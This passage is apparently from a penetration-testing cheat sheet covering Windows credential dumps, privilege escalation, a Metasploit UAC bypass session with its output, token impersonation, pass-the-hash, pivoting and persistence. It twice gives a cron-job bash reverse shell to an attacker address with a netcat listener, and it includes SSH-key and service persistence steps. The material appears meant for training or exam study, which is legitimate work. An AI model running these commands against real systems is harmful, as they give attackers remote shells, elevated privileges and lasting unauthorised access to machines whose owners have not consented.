         * SHA1     : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
        tspkg :
         * Username : Gentil Kiwi
         * Domain   : vm-w7-ult-x
         * Password : waza1234/
...
Click to expand and view more

4. Hashdump (Meterpreter Command)


Windows evasion

Evasion in cybersecurity refers to techniques used by attackers to bypass security measures and avoid detection, allowing them to deliver exploits or malware to target systems.

1. ADS (Alternate Data Stream)

2. Windows Keylogging


Windows local enumeration

Local enumeration refers to the process of actively collecting system information such as usernames, shares, and services to exploit vulnerabilities during penetration testing.

1. JAWS (Just Another Windows Enum Script)

2. PrivescCheck

3. PowerUp / PowerSploit (privilege escalation checks)

4. Unattended Windows setup utility (unattend.xml)


Privilege Escalation

Cron jobs

Exploiting cron jobs (scheduled tasks) that are misconfigured. If a script run by root is writeable by a low-privilege user, that user can add a reverse shell payload to it.

This is a method for Linux privilege escalation by using root user’s cron jobs to get root permissions.

crontab.png

Persistence via Cron Job (Example): 1. Create a payload file: echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/1234 0>&1'" > cron 2. Install the new crontab: crontab -i cron 3. List/check the crontab: crontab -l 4. Start a listener on the attacker machine: nc -nulp 1234

Edit your crontab

crontab -e

List your crontab

crontab -l

Remove your crontab

crontab -r

Edit / view another user’s crontab (requires root)

sudo crontab -u alice -e
sudo crontab -u alice -l

Where system crontabs live

/etc/crontab
/var/spool/cron
/var/spool/cron/crontabs


Linux kernel exploits

Exploiting vulnerabilities in the Linux kernel itself to gain root privileges.

Chkrootkit (Example)


SUID-GUID binaries

suid.png

Find the SUID files

The following command will list all of the SUID files in the system

find / -perm -u=s -type f 2>/dev/null

![suid permission.png](suid permission.png)

GTFOBins

gtfobin.png


Bypass UAC

To bypass the Windows User Account Control (UAC) security feature, which prompts users for elevation.

1. Metasploit Module

SHELL
getuid
	Server username: VICTIM\admin
	
getsystem
# gesystem fails

getprivs
    Enabled Process Privileges
    ==========================
    Name
    ----
    SeChangeNotifyPrivilege
    SeIncreaseWorkingSetPrivilege
    SeShutdownPrivilege
    SeTimeZonePrivilege
    SeUndockPrivilege
# "admin" user my be part of the Administrators group
Click to expand and view more
PLAINTEXT
shell
Click to expand and view more
SHELL
net users
	admin Administrator Guest

net localgroup administrators
    Members
    -------------
    admin
    Administrator
# Yes, "admin" is part of the Administrators group
# but doesn't have administrative privileges through the Meterpreter session
exit
Click to expand and view more

Bypass UAC

SHELL
background
sessions
	2 meterpreter x64/windows VICTIM\admin @ VICTIM 10.10.24.6:4444 -> 10.2.18.116:49219 (10.2.18.116)
Click to expand and view more
SHELL
search bypassuac
use exploit/windows/local/bypassuac_injection
set payload windows/x64/meterpreter/reverse_tcp
set SESSION 2
set LPORT 5533
run
Click to expand and view more
SHELL
[*] Started reverse TCP handler on 10.10.24.6:5533 
[+] Windows 2012 R2 (6.3 Build 9600). may be vulnerable.
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[-] Exploit aborted due to failure: bad-config: x86 Target Selected for x64 System
[*] Exploit completed, but no session was created.
Click to expand and view more
SHELL
set TARGET Windows\ x64
run
Click to expand and view more

bypassuac.png

2. Manual Tool


Token Impersonation

To escalate privileges by impersonating a high-privilege token (like NT AUTHORITY\SYSTEM) if the current user has the required permissions.

Required Privileges:

incognito.png

Steps (Meterpreter):

  1. Check current privileges: getprivs
  2. Load the Incognito module: load incognito
  3. List available tokens: list_tokens -u
  4. Impersonate the SYSTEM token: impersonate_token "NT AUTHORITY\SYSTEM"
  5. Confirm success: getuid (Should now show NT AUTHORITY\SYSTEM)

Windows kernel exploits

To find vulnerabilities in the Windows kernel that can be exploited for privilege escalation.

1. Metasploit Suggester

2. Manual Suggesters (GitHub)


Lateral Movement

Pass The Hash

Pass The Hash (PTH) is an attack that uses a user’s NTLM hash to authenticate, instead of their plaintext password. This allows for lateral movement to other machines that the user has admin rights on.

1. Metasploit PsExec Module

![psexec module.png](psexec module.png)


2. Crackmapexec (CME)

![crackmapexec module.png](crackmapexec module.png)


Pivoting

Pivoting is the technique of using a compromised host to access other systems on an internal network that are not directly accessible.

pivoting_internal.png

Pivoting.png

1. Autoroute

Used in Meterpreter to add a route to an internal subnet through the compromised session.

2. Port Forwarding

Used in Meterpreter to forward a port from the attacker’s machine to a target on the internal network (or vice-versa).


Ping sweep (fast, parallel)

Simple TCP port scan (Bash one-liner)



SOCKS proxy

This method routes traffic from your attacker machine through the compromised host, allowing you to use external tools (like nmap, proxychains) as if you were on the internal network.

1. Start SOCKS Proxy (Metasploit)

2. Configure Proxychains

3. Run Tools via Proxychains



WinRM attacks

WinRM Windows Remote Management is a protocol that allows administrators to remotely manage Windows systems. If you have credentials, you can use it for lateral movement.

Login using known credentials

1. evil-winrm (Standalone Tool)

2. Crackmapexec (CME)

3. Metasploit Module - WinRm Script Exec


Persistence

Linux persistance

1. Persistence via SSH Keys

This method uses a private key to log in.

BASH
ON ATTACKER MACHINE
# Check if key exists
ls ~/.ssh/id_rsa.pub

#If not generate by
ssh-keygen -t rsa

# Show and copy your public key
cat ~/.ssh/id_rsa.pub
Click to expand and view more
BASH
ON TARGET MACHINE
mkdir -p ~/.ssh
nano ~/.ssh/authorized_keys   # paste the key here, save and exit
Click to expand and view more
TEST BY `ssh user@hostname`

2. Persistence via Cron Job

This method schedules a reverse shell to run at a regular interval.

  1. On Target Machine: echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/1234 0>&1'" > cron
  2. On Target Machine: Install the new crontab: crontab -i cron
  3. On Target Machine: Check the crontab: crontab -l
  4. On Attacker Machine: Start the listener: nc -nulp 1234

5. Replace /etc/passwd

To add a new root-level user by editing /etc/passwd, you must generate a hashed password:


Windows Persistence

1. Persistence as a Service

This method installs a malicious service to maintain access.

2. Enable RDP (Method 1: Post Module)

This method enables RDP on the target and resets a user’s password.

3. Enable RDP (Method 2: GetGUI)

This method enables RDP for a specific user.


Utilities

Common ports

PortProtoServiceShort description
20TCPFTP-dataFTP data transfer (active)
21TCPFTPFTP control/commands
22TCPSSHSecure shell / SFTP
23TCPTelnetUnencrypted remote shell
25TCPSMTPMail transfer (server-to-server)
53UDP/TCPDNSDomain name resolution
67/68UDPDHCPIP address assignment (server/client)
80TCPHTTPInsecure web traffic
110TCPPOP3Mail retrieval (legacy)
123UDPNTPTime synchronization
143TCPIMAPMail access (IMAP)
161UDPSNMPNetwork/device management
389TCP/UDPLDAPDirectory services
443TCPHTTPSSecure web (TLS/SSL)
445TCPSMBWindows file/printer sharing
587TCPSMTP-submissionMail submission with auth
631TCPIPP/CUPSNetwork printing
993TCPIMAPSIMAP over TLS
995TCPPOP3SPOP3 over TLS
1433TCPMicrosoft SQLMS SQL Server default
1521TCPOracle TNSOracle DB listener
2049TCP/UDPNFSNetwork File System
3306TCPMYSQLMySQL/MariaDB default
3389TCPRDPWindows Remote Desktop
5900TCPVNCRemote desktop (VNC)
5985TCPWinRMWindows remote management over http
27017TCPMongoDBMongoDB default port

Hash cracking

Purpose: To crack captured password hashes (both Windows NTLM and Linux) offline using wordlists. Tools:


1. Cracking Windows (NTLM) Hashes

2. Cracking Linux Passwords


Start searching

Enter keywords to search articles

↑↓
ESC
⌘K Shortcut